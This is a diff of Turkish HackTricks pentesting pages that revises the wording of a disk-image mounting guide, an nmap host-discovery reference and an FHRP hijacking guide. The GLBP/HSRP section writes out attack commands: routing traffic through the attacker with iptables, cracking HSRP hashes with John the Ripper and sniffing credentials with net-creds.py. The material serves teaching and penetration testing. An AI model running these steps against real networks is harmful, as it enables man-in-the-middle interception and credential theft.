* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** istiyorsanız [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,17 +2,17 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin HackTricks'te reklamını görmek ister misiniz? Ya da en son PEASS sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz?** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)** üzerinden PR'lar gönderin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* **[💬](https://emojipedia.org/speech-balloon/) Discord grubuna** katılın veya [telegram grubuna](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak [hacktricks deposuna](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud deposuna](https://github.com/carlospolop/hacktricks-cloud) PR göndererek katkıda bulunun.**
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -37,7 +37,7 @@ ftkimager /dev/sdb evidence --e01 --case-number 1 --evidence-number 1 --descript
```
### EWF
[**ewf araçları**](https://github.com/libyal/libewf) kullanarak bir disk imajı oluşturabilirsiniz.
Disk imajı oluşturmak için [**ewf araçları**](https://github.com/libyal/libewf) kullanabilirsiniz.
```bash
ewfacquire /dev/sdb
#Name: evidence
@ -58,7 +58,7 @@ ewfacquire /dev/sdb
### Çeşitli türler
**Windows** üzerinde, **forensik imajı bağlamak** için ücretsiz Arsenal Image Mounter'ın ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)) ücretsiz sürümünü kullanabilirsiniz.
**Windows** üzerinde, **forensik görüntüyü bağlamak** için Arsenal Image Mounter'ın ücretsiz sürümünü deneyebilirsiniz ([https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)).
### Raw
```bash
@ -71,7 +71,7 @@ mount evidence.img /mnt
```
### EWF
### EWF
EWF, or Expert Witness Format, is a file format used to store disk images. EWF files consist of two parts: the metadata information and the actual data. The metadata contains information about the acquisition process, while the data part contains the actual image of the disk. EWF files can be mounted using tools like ewfmount, which allows investigators to access the contents of the disk image without modifying the original data.
```bash
#Get file type
file evidence.E01
@ -88,12 +88,12 @@ mount output/ewf1 -o ro,norecovery /mnt
```
### ArsenalImageMounter
Windows Uygulamasıdır. Birimleri bağlamak için kullanılır. İndirebilirsiniz [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
Windows Uygulamasıdır ve birimleri bağlamak için kullanılır. İndirebilirsiniz buradan [https://arsenalrecon.com/downloads/](https://arsenalrecon.com/downloads/)
### Hatalar
* **`/dev/loop0 salt okunur olarak bağlanamaz`** bu durumda **`-o ro,norecovery`** bayraklarını kullanmanız gerekmektedir.
* **`yanlış fs türü, kötü seçenek, /dev/loop0 üzerinde kötü süper blok, eksik kod sayfası veya yardımcı program, veya diğer hata.`** bu durumda bağlantı, dosya sisteminin ofsetinin disk görüntüsünden farklı olmasından dolayı başarısız olmuştur. Sektör boyutunu ve Başlangıç sektörünü bulmanız gerekmektedir:
* **`yanlış fs türü, kötü seçenek, /dev/loop0 üzerinde kötü süper blok, eksik kod sayfası veya yardımcı program, veya diğer hata.`** bu durumda bağlamanın başarısız olduğu çünkü dosya sisteminin ofseti disk imajının ofsetinden farklıdır. Sektör boyutunu ve Başlangıç sektörünü bulmanız gerekmektedir:
```bash
fdisk -l disk.img
Disk disk.img: 102 MiB, 106954648 bytes, 208896 sectors
@ -106,11 +106,11 @@ Disk identifier: 0x00495395
Device Boot Start End Sectors Size Id Type
disk.img1 2048 208895 206848 101M 1 FAT12
```
Sector boyutunun **512** ve başlangıcın **2048** olduğunu unutmayın. Ardından görüntüyü şu şekilde bağlayın:
Sektör boyutunun **512** ve başlangıcın **2048** olduğunu unutmayın. Ardından resmi şu şekilde bağlayın:
```bash
mount disk.img /mnt -o ro,offset=$((2048*512))
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -118,10 +118,10 @@ mount disk.img /mnt -o ro,offset=$((2048*512))
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya beni **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks swag'ini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'larınızı [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud)** gönderin.
</details>

View file

@ -2,35 +2,35 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## FHRP Kaçırma Genel Bakış
## FHRP Kaçırma Genel Bakışı
### FHRP Hakkında Bilgiler
FHRP, birden fazla yönlendiriciyi tek bir sanal birimde birleştirerek ağın sağlamlığını sağlamayı amaçlayan bir protokol grubudur, böylece yük dağıtımı ve hata toleransı artırılır. Cisco Systems, bu pakette GLBP ve HSRP gibi önde gelen protokoller tanıttı.
FHRP, birden fazla yönlendiriciyi tek bir sanal birim haline getirerek ağın sağlamlığını sağlamayı amaçlayan bir protokol grubudur, böylece yük dağıtımı ve hata toleransı artırılır. Cisco Systems, bu pakette GLBP ve HSRP gibi önde gelen protokoller tanıttı.
### GLBP Protokolü Hakkında Bilgiler
Cisco'nun yarattığı GLBP, TCP/IP yığınında çalışır ve iletişim için UDP'yi 3222 numaralı portta kullanır. GLBP grubundaki yönlendiriciler 3 saniyelik aralıklarla "hello" paketleri alışverişi yaparlar. Bir yönlendirici bu paketleri 10 saniye boyunca göndermezse çevrimdışı olarak kabul edilir. Bununla birlikte, bu zamanlayıcılar sabit değildir ve değiştirilebilir.
Cisco'nun oluşturduğu GLBP, TCP/IP yığınında çalışır ve iletişim için UDP'yi 3222 numaralı portta kullanır. GLBP grubundaki yönlendiriciler, 3 saniyelik aralıklarla "hello" paketleri alışverişi yapar. Bir yönlendirici bu paketleri 10 saniye boyunca göndermezse, çevrimdışı olarak kabul edilir. Bununla birlikte, bu zamanlayıcılar sabit değildir ve değiştirilebilir.
### GLBP İşlemleri ve Yük Dağıtımı
GLBP, tek bir sanal IP ile birleştirilmiş birden fazla sanal MAC adresi kullanarak yönlendiriciler arasında yük dağıtımını sağlayarak öne çıkar. Bir GLBP grubunda, her yönlendirici paket iletimine dahil olur. HSRP/VRRP'nin aksine, GLBP şu mekanizmalar aracılığıyla gerçek yük dengelemesi sunar:
GLBP, tek bir sanal IP ile birleştirilmiş birden fazla sanal MAC adresi kullanarak yönlendiriciler arasında yük dağıtımını sağlayarak öne çıkar. Bir GLBP grubunda, her yönlendirici paket iletimine dahil olur. HSRP/VRRP'nin aksine, GLBP, şu mekanizmalar aracılığıyla gerçek yük dengelemesi sunar:
- **Ana Bilgisayara Bağımlı Yük Dengeleme:** Bir ana bilgisayara sürekli AVF MAC adresi atamasını korur, istikrarlı NAT yapılandırmaları için önemlidir.
- **Round-Robin Yük Dengeleme:** Varsayılan yaklaşım, isteyen ana bilgisayarlara AVF MAC adresi atamasını sırayla değiştirir.
- **Ana Bilgisayara Bağımlı Yük Dengeleme:** Bir ana bilgisayara sürekli AVF MAC adresi atamasını korur, bu, kararlı NAT yapılandırmaları için önemlidir.
- **Round-Robin Yük Dengeleme:** Varsayılan yaklaşım, talep eden ana bilgisayarlara yönelik AVF MAC adresi atamasını sırayla değiştirir.
- **Ağırlıklı Round-Robin Yük Dengeleme:** Önceden belirlenmiş "Ağırlık" metriklerine dayalı olarak yükü dağıtır.
### GLBP'de Ana Bileşenler ve Terimler
@ -40,13 +40,13 @@ GLBP, tek bir sanal IP ile birleştirilmiş birden fazla sanal MAC adresi kullan
- **GLBP Ağırlığı:** Bir yönlendiricideki mevcut yükü yansıtır, manuel olarak veya Nesne İzleme aracılığıyla ayarlanabilir.
- **GLBP Sanal IP Adresi:** Bağlı tüm cihazlar için ağın varsayılan ağ geçidi olarak hizmet verir.
Etkileşimler için GLBP, ayrılmış 224.0.0.102 çoklu yayın adresini ve UDP portunu 3222 kullanır. Yönlendiriciler, 3 saniyelik aralıklarla "hello" paketleri gönderir ve bir paket 10 saniyelik bir süre içinde kaçırılırsa işlevsiz kabul edilir.
Etkileşimler için GLBP, ayrılmış 224.0.0.102 çoklu yayın adresini ve UDP portunu 3222 kullanır. Yönlendiriciler, 3 saniyelik aralıklarla "hello" paketleri iletimi yapar ve bir paket 10 saniyelik bir süre içinde kaçırılırsa işlevsiz kabul edilir.
### GLBP Saldırı Mekanizması
Bir saldırgan, en yüksek öncelik değerine (255) sahip bir GLBP paketi göndererek ana yönlendirici haline gelebilir. Bu, trafik yakalama veya yönlendirme izni veren DoS veya MITM saldırılarına yol açabilir.
Bir saldırgan, en yüksek öncelik değerine (255) sahip bir GLBP paketi göndererek ana yönlendirici haline gelebilir. Bu, trafik yakalama veya yönlendirme olanağı sağlayarak DoS veya MITM saldırılarına yol açabilir.
### Loki ile GLBP Saldırısı Gerçekleştirme
[Loki](https://github.com/raizo62/loki_on_kali), öncelik ve ağırlığı 255'e ayarlanmış bir paket enjekte ederek bir GLBP saldırısı gerçekleştirebilir. Saldırı öncesi adımlar, Wireshark gibi araçlar kullanarak sanal IP adresini, kimlik doğrulama varlığını ve yönlendirici öncelik değerlerini toplamayı içerir.
[Loki](https://github.com/raizo62/loki_on_kali), öncelik ve ağırlığı 255'e ayarlanmış bir paket enjekte ederek bir GLBP saldırısı gerçekleştirebilir. Saldırı öncesi adımlar, Wireshark gibi araçlar kullanılarak sanal IP adresi, kimlik doğrulama varlığı ve yönlendirici öncelik değerlerini toplamayı içerir.
Saldırı Adımları:
1. Promiskü moduna geçin ve IP yönlendirmeyi etkinleştirin.
@ -57,7 +57,7 @@ Saldırı Adımları:
6. Tam trafik görünürlüğü için SNAT uygulayın.
7. İnternet erişimini orijinal AVG yönlendiricisi üzerinden devam ettirmek için yönlendirmeyi ayarlayın.
Bu adımları takip ederek, saldırgan kendisini ağ trafiğini, şifrelenmemiş veya hassas verileri içeren bir "adam ortasında" konumlandırabilir ve analiz edebilir.
Bu adımları takip ederek, saldırgan kendisini ağ trafiğini, şifrelenmemiş veya hassas verileri de içeren bir "orta adam" olarak konumlandırabilir ve analiz edebilir.
Demonstrasyon için gereken komut parçaları aşağıda verilmiştir:
```bash
@ -73,19 +73,34 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
### HSRP Saldırı Mekanizması
HSRP saldırıları, En Yüksek Öncelik değeri enjekte edilerek Aktif Yönlendirici'nin rolünü zorla ele geçirmeyi içerir. Bu, Man-In-The-Middle (MITM) saldırısına yol açabilir. Temel saldırı öncesi adımlar arasında HSRP kurulumu hakkında veri toplamak bulunur, bu da trafiği analiz etmek için Wireshark kullanılarak yapılabilir.
### HSRP Sızma Yöntemi Pasif Açıklaması ve Komut Detayları
#### HSRP (Hot Standby Router/Redundancy Protocol) Genel Bakış
HSRP, ağ geçidi yedekliliği için tasarlanmış Cisco'ya ait bir protokoldür. Birden fazla fiziksel yönlendiriciyi paylaşılan bir IP adresine sahip tek bir mantıksal birim olarak yapılandırmayı sağlar. Bu mantıksal birim, trafiği yönlendirmekten sorumlu olan birincil yönlendirici tarafından yönetilir. GLBP'nin aksine, yük dengelemesi için öncelik ve ağırlık gibi metrikler kullanmaz, HSRP trafiği yönetimi için tek bir etkin yönlendiriciye dayanır.
#### HSRP'de Roller ve Terimler
- **HSRP Etkin Yönlendirici**: Trafik akışını yöneten ağ geçidi olarak hareket eden cihaz.
- **HSRP Bekleme Yönlendirici**: Etkin yönlendirici başarısız olursa devralmaya hazır yedek yönlendirici.
- **HSRP Grubu**: Tek bir dayanıklı sanal yönlendirici oluşturmak için işbirliği yapan yönlendiriciler kümesi.
- **HSRP MAC Adresi**: HSRP yapılandırmasındaki mantıksal yönlendiriciye atanmış sanal MAC adresi.
- **HSRP Sanal IP Adresi**: Bağlı cihazlar için varsayılan ağ geçidi olarak hareket eden HSRP grubunun sanal IP adresi.
#### HSRP Sürümleri
HSRP iki sürümde gelir, HSRPv1 ve HSRPv2, grup kapasitesi, çoklu yayın IP kullanımı ve sanal MAC adres yapısıısından farklılık gösterir. Protokol, hizmet bilgileri alışverişi için belirli çoklu yayın IP adreslerini kullanır, Hello paketleri her 3 saniyede bir gönderilir. Bir yönlendiriciye 10 saniyelik bir süre içinde paket alınmazsa etkin olmadığı varsayılır.
#### HSRP Saldırı Mekanizması
HSRP saldırıları, Etkin Yönlendirici'nin rolünü zorla alarak maksimum öncelik değeri enjekte etmeyi içerir. Bu, Man-In-The-Middle (MITM) saldırısına yol açabilir. Temel saldırı öncesi adımlar arasında HSRP yapılandırması hakkında veri toplamak yer alır, bu da trafiği analiz etmek için Wireshark kullanılarak yapılabilir.
#### HSRP Kimlik Doğrulamasını Atlayan Adımlar
1. HSRP verilerini içeren ağ trafiğini .pcap dosyası olarak kaydedin.
```shell
tcpdump -w hsrp_traffic.pcap
```
2. .pcap dosyasından MD5 karmaşalarını hsrp2john.py kullanarak çıkarın.
2. .pcap dosyasından MD5 karma değerlerini hsrp2john.py kullanarak çıkarın.
```shell
python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
```
3. John the Ripper kullanarak MD5 karmaşalarını kırın.
3. John the Ripper kullanarak MD5 karma değerlerini kırın.
```shell
john --wordlist=mywordlist.txt hsrp_hashes
```
@ -98,20 +113,20 @@ john --wordlist=mywordlist.txt hsrp_hashes
sudo ip link set eth0 promisc on
sudo sysctl -w net.ipv4.ip_forward=1
```
3. Loki'yi belirli yönlendiriciyi hedeflemek, kırılmış HSRP şifresini girmek ve Aktif Yönlendirici'yi taklit etmek için gerekli yapılandırmaları yapmak için kullanın.
4. Aktif Yönlendirici rolünü aldıktan sonra, ağ arayüzünü ve IP tablolarını yapılandırarak meşru trafiği engelleyin.
3. Loki'yi belirli yönlendiriciyi hedeflemek, kırılmış HSRP şifresini girmek ve Etkin Yönlendiriciyi taklit etmek için gerekli yapılandırmaları yapmak için kullanın.
4. Etkin Yönlendirici rolünü aldıktan sonra, ağ arayüzünü ve IP tablolarını yapılandırarak meşru trafiği engelleyin.
```shell
sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
5. Trafik yönlendirmek için yönlendirme tablosunu değiştirin.
5. Trafik yönlendirmek için yönlendirme tablosunu değiştirin ve eski Etkin Yönlendirici üzerinden trafiği yönlendirin.
```shell
sudo route del default
sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
```
6. Yakalanan trafiğe net-creds.py veya benzer bir yardımcı programı kullanarak kimlik bilgilerini yakalayın.
6. Yakalanan trafiğe ait kimlik bilgilerini almak için net-creds.py veya benzer bir yardımcı programı kullanın.
```shell
sudo python2 net-creds.py -i eth0
```
Bu adımları uygulamak, saldırganı GLBP ele geçirmesi için yapılan işleme benzer bir şekilde trafiği engellemek ve manipüle etmek için bir konuma yerleştirir. Bu, HSRP gibi yedeklilik protokollerindeki zafiyeti ve sağlam güvenlik önlemlerine olan ihtiyacı vurgular.
Bu adımları uygulamak saldırganı, GLBP sızma yöntemi için yapılan işlemlere benzer şekilde trafiği engellemek ve manipüle etmek için bir konuma yerleştirir. Bu, HSRP gibi yedeklilik protokollerindeki zafiyeti ve sağlam güvenlik önlemlerine olan ihtiyacı vurgular.

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşün</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
```
@ -25,53 +25,53 @@ nmap -sV -sC -O -n -oA nmapscan 192.168.0.1/24
### Taranacak IP'ler
* **`<ip>,<net/mask>`:** IP'leri doğrudan belirtir
* **`-iL <ips_file>`:** list\_IPs
* **`-iL <ips_file>`:** IP listesi
* **`-iR <number>`**: Rastgele IP'lerin sayısı, olası IP'leri `--exclude <Ips>` veya `--excludefile <file>` ile hariç tutabilirsiniz.
### Ekipman keşfi
Nmap varsayılan olarak şunlardan oluşan bir keşif aşaması başlatır: `-PA80 -PS443 -PE -PP`
Nmap varsayılan olarak `-PA80 -PS443 -PE -PP` oluşan bir keşif aşaması başlatır.
* **`-sL`**: İstilacı değildir, hedefleri listeler ve isimleri çözmek için **DNS** istekleri yapar. Örneğin www.prueba.es/24 gibi tüm IP'lerin hedeflerimiz olup olmadığını bilmek için faydalıdır.
* **`-Pn`**: **Ping yok**. Tümünün aktif olduğunu biliyorsanız (aksi halde çok zaman kaybedebilirsiniz, ancak bu seçenek aynı zamanda yanlış negatifler üretir ve aktif olmadıklarını söyler), keşif aşamasını engeller.
* **`-sn`** : **Port taraması yok**. Keşif aşamasını tamamladıktan sonra port taraması yapmaz. Nispeten gizli bir taramadır ve küçük bir ağ taramasına izin verir. Yetkilerle 80'e bir ACK (-PA), 443'e bir SYN(-PS) ve bir echo isteği ile bir Zaman damgası isteği gönderir, yetkiler olmadan her zaman bağlantıları tamamlar. Hedef ağ ise yalnızca ARP(-PR) kullanır. Başka bir seçenekle kullanıldığında, yalnızca diğer seçeneğin paketleri bırakılır.
* **`-Pn`**: **Ping yok**. Tümünün aktif olduğunu biliyorsanız (aksi halde çok zaman kaybedebilirsiniz, ancak bu seçenek aynı zamanda aktif olmadıklarını belirten yanlış negatifler de üretir), keşif aşamasını engeller.
* **`-sn`** : **Port taraması yok**. Keşif aşamasını tamamladıktan sonra port taraması yapmaz. Nispeten gizlidir ve küçük bir ağ taramasına izin verir. Yetkilerle 80'e bir ACK (-PA), 443'e bir SYN(-PS) ve bir echo isteği ve bir zaman damgası isteği gönderir, yetkisiz kullanıldığında her zaman bağlantılar tamamlanır. Hedef ağsa, yalnızca ARP(-PR) kullanır. Başka bir seçenekle kullanıldığında, yalnızca diğer seçeneğin paketleri bırakılır.
* **`-PR`**: **Ping ARP**. Ağımızdaki bilgisayarları analiz ederken varsayılan olarak kullanılır, ping'leri kullanmaktan daha hızlıdır. ARP paketleri kullanmak istemiyorsanız `--send-ip` kullanın.
* **`-PS <ports>`**: Eğer SYN/ACK ile yanıtlarsa açıktır (bağlantıyı sonlandırmamak için RST ile yanıtlarsa), eğer RST ile yanıtlarsa kapalıdır ve yanıt vermezse ulaşılamazdır. Yetkileriniz yoksa, otomatik olarak bir toplam bağlantı kullanılır. Eğer portlar belirtilmemişse, 80'e gönderilir.
* **`-PS <ports>`**: Eğer SYN/ACK ile cevap veriyorsa açıktır (bağlantıyı sonlandırmamak için RST ile cevap verir), eğer RST ile cevap veriyorsa kapalıdır ve cevap vermiyorsa ulaşılamazdır. Yetkileri yoksa, otomatik olarak toplam bir bağlantı kullanılır. Eğer portlar belirtilmemişse, 80'e gönderilir.
* **`-PA <ports>`**: Bir öncekiyle aynıdır ancak ACK ile, ikisini birleştirmek daha iyi sonuçlar verir.
* **`-PU <ports>`**: Amaçları zıttır, kapatılmış olması beklenen portlara gönderilir. Bazı güvenlik duvarları yalnızca TCP bağlantılarını kontrol eder. Eğer kapalıysa port ulaşılamaz yanıtı verilir, başka bir icmp ile yanıtlanırsa veya yanıt verilmezse hedef ulaşılamaz olarak bırakılır.
* **`-PU <ports>`**: Amaçları zıttır, kapatılması beklenen portlara gönderilir. Bazı güvenlik duvarları yalnızca TCP bağlantılarını kontrol eder. Eğer kapalıysa port ulaşılamaz ile cevap verir, başka bir icmp ile cevap verirse veya cevap vermezse hedef ulaşılamaz olarak bırakılır.
* **`-PE, -PP, -PM`** : ICMP PING'ler: echo replay, zaman damgası ve adres maskesi. Hedefin aktif olup olmadığını öğrenmek için gönderilir.
* **`-PY<ports>`**: Varsayılan olarak 80'e SCTP INIT probeleri gönderir, INIT-ACK(açık) veya ABORT(kapalı) veya hiçbir şey veya ICMP ulaşılamaz(inaktif) yanıtı alabilir.
* **`-PO <protocols>`**: Başlıkta bir protokol belirtilir, varsayılan olarak 1(ICMP), 2(IGMP) ve 4(Encap IP). ICMP, IGMP, TCP (6) ve UDP (17) protokolleri için protokol başlıkları gönderilir, geri kalanlar için yalnızca IP başlığı gönderilir. Amacı, başlıkların bozulmasından dolayı, Protokol ulaşılamaz veya aynı protokolün yanıtları alınarak yukarıda olup olmadığını bilmektir.
* **`-PY<ports>`**: Varsayılan olarak 80'e SCTP INIT probeleri gönderir, INIT-ACK(açık) veya ABORT(kapalı) veya hiçbir şey veya ICMP ulaşılamaz (etkin değil) ile cevap verebilir.
